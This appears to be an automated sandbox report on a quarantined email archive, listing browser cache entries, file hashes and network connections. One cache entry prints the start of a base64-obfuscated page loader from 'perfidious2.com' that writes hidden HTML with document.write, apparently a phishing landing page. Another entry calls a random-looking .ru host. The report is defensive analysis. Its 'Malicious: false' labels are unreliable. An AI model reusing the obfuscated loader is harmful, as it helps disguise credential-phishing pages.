SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	dropped
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47694)
Category:	downloaded
Size (bytes):	47695
Entropy (8bit):	5.401531363850578
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHbzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZU8nw81KZLGcD:IGJWHbzZBF6xbGfLsVvy33FU8DW
MD5:	1685878B80EECB073E51C13F17A5E530
SHA1:	0FFFA666F98F2D8C1156D46D7F9AB90C5B089AF3
SHA-256:	C61E2E1347B9ACA3D8F0C9725490470651A1F6C02841FF71F90305EA391CA6D2
SHA-512:	2B32A82A8E7E0A1F6203A04C3E7DDAE6AC3A4438B2309DC04EA112D862839902DD47D2E4A569BCB6F91E359B1F8197F3A179A206A458881A66E89860F96D526E
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/a6e12e96a2d5/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	563851
Entropy (8bit):	5.221453271093944
Encrypted:	false
SSDEEP:	6144:2VR57iqbPXlB5UR5vWenR5xWeMFdBjL+ks0EcU0MWEsuWe5fXbHfxlN/FNCn/Lpl:tTP0BKYtf
MD5:	12DD1E4D0485A80184B36D158018DE81
SHA1:	EB2594062E90E3DCD5127679F9C369D3BF39D61C
SHA-256:	A04B5B8B345E79987621008E6CC9BEF2B684663F9A820A0C7460E727A2A4DDC3
SHA-512:	F3A92BF0C681E6D2198970F43B966ABDF8CCBFF3F9BD5136A1CA911747369C49F8C36C69A7E98E0F2AED3163D9D1C5D44EFCE67A178DE479196845721219E12C
Malicious:	false
URL:	https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css
Preview:	@charset "UTF-8";/! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise.//! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (513), with no line terminators
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	5.350826451115093
Encrypted:	false
SSDEEP:	12:D0rdkqmKlO30kMWznLPQspwlZpqBijDgrgLCpWRG3a0:exmwOkkMWIvv4ELsWUp
MD5:	602C381194795DFC124FACDF48492EF1
SHA1:	90D594B7B5AF217824F2974514548C95FECFBFA5
SHA-256:	BF450798FB52E2458A1E10749577E5334F3E1D7907A47FDFEA5430CB71FA19E6
SHA-512:	8837F6BD2A11387D31A866D07B66A0FF2E58D2EDC2682A582919A1896CE9B4CB683A795D91968B41FA46C31CE62D34414E1F3318D4F5DDA2999447F4BCA6133D
Malicious:	false
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=f65ecb70-094d-0b11-7c9d-7da1bcadfaa7
Preview:	var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,click:!0,scroll:!0,resize:!0,lineage:!0,jsError:!0,addin:!0,perf:!0},coreData:{appId:JSLLAPPID,market:LOCALE,pageName:PAGENAME,pageType:PAYLOADTYPE,referrerUri:document.referrer,requestUri:window.location.href},callback:{pageName:PAGENAME}};awa.init(jsllConfig)

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru/xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE
Preview:	1

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7293), with CRLF line terminators
Category:	downloaded
Size (bytes):	19488
Entropy (8bit):	5.870184595148913
Encrypted:	false
SSDEEP:	192:zzno9mPwOQNnSvElV17RclnXCzno9mPwOQNnSvElV17eqrduTQfr/wqrduTQfrQ:nnu+wOabnFnu+wOabnJlr7lrQ
MD5:	CB69BEF11087EDAEAD3C945FF6F1B0BF
SHA1:	944657EA305E17C2F441502DC9ED4FA13E9684E3
SHA-256:	1073F07A2061524F6561E1C1125A6A1FF9C5120163E2E079A77617FEA59F3A39
SHA-512:	A84552E6C01ACC0E7832CC3898A2AFA849306BE5A6AC21BBF3C3FB5F768CFFC67A76FF19CBE1B1F73507CBF57DF70593B9691A9200F0F32A6F304D7BF2724D82
Malicious:	false
URL:	https://r4.perfidious2.com/7Ns2j_S_gr7Bb9fugBSyePMT2hE/
Preview:	<script>....if(atob("aHR0cHM6Ly9Vbi5wZXJmaWRpb3VzMi5jb20vN05zMmpfU19ncjdCYjlmdWdCU3llUE1UMmhFLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNC

Static File Info

General

File type:	Zip archive data, at least v4.5 to extract, compression method=deflate
Entropy (8bit):	7.991855879621573
TrID:	ZIP compressed archive (8000/1) 100.00%
File name:	Quarantined Messages-9.zip
File size:	27'864 bytes
MD5:	0d56737d5853c08612d071cf228daeec
SHA1:	5250380a1201a2f4503aa1837105b9fb6d98a49b
SHA256:	6ed9dcfca91874dde658350f58019f628b7384be3a89bc22a79f17185e280aeb
SHA512:	1d2746c0211aa80d8d5116d5ae93dabac2fdb1a1b1a31ff77a33b851ecb67e7b364c8a2e98879fc3b1599199d01fcb2eb48d91814e9ca9e39df4b26e2260702a
SSDEEP:	768:d1hIP0nbVkQmRM7LP0nUXCgutdFXvV2aPw9iwy2QN:dS48/NvV2r8a4
TLSH:	64C2E046F1937A2AD9A9B13289BED3A2C1B7D5000C3BDD5C95B8626C01315E8F9F1887
File Content Preview:	PK..-.....n@.Yd#..........M...fb7c7073-ccea-4c68-9c85-08dd13607254/9de9ed28-1029-1749-d04e-5d4f9a0c641f.eml.....Q.......k......0..6V..?.....S.P...%"1......_...V...y.......E.2...}.!..j....k.................T1.>...........~......v...o@..l.I.d7....t..X....p.

File Icon


Icon Hash:	1c1c1e4e4ececedc

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 09:05:03.460459948 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:03.774171114 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:04.385215044 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:05.587188005 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:07.738879919 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:07.738912106 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:07.738981962 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:07.741189003 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:07.741199017 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:07.935980082 CET	49689	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:07.990262032 CET	49673	443	192.168.2.16	204.79.197.203
Dec 3, 2024 09:05:08.624960899 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:08.624989986 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:08.625061035 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:08.626811981 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:08.626827955 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:09.714698076 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:09.714808941 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:09.780045033 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:09.780067921 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:09.780138969 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:09.781203985 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:09.781217098 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:09.865259886 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:09.865278959 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:09.865614891 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:09.869662046 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:09.869688988 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:09.869734049 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.494879961 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:10.494960070 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:10.497639894 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:10.497648954 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:10.497853994 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:10.543256998 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:10.548574924 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:10.595328093 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:10.748409033 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.748431921 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.748472929 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.748497963 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.748514891 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.748531103 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.748533010 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.748579979 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.749058008 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.749077082 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.749088049 CET	49700	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.749094009 CET	443	49700	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.867074013 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.867117882 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:10.867221117 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.867407084 CET	49706	443	192.168.2.16	40.126.53.11
Dec 3, 2024 09:05:10.867420912 CET	443	49706	40.126.53.11	192.168.2.16
Dec 3, 2024 09:05:11.162206888 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.162282944 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.164875984 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.164885044 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.165095091 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.207216978 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.229243994 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229268074 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229274988 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229295015 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229330063 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229332924 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.229350090 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.229362965 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.229386091 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.229423046 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.250072002 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.250133991 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.250169992 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.250226021 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.358416080 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.358433962 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.358480930 CET	49703	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:11.358486891 CET	443	49703	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:11.371350050 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.415332079 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.637716055 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:11.770976067 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.771029949 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.771131039 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.800558090 CET	49705	443	192.168.2.16	23.218.208.109
Dec 3, 2024 09:05:11.800574064 CET	443	49705	23.218.208.109	192.168.2.16
Dec 3, 2024 09:05:11.800586939 CET	49705	443	192.168.2.16	23.218.208.109
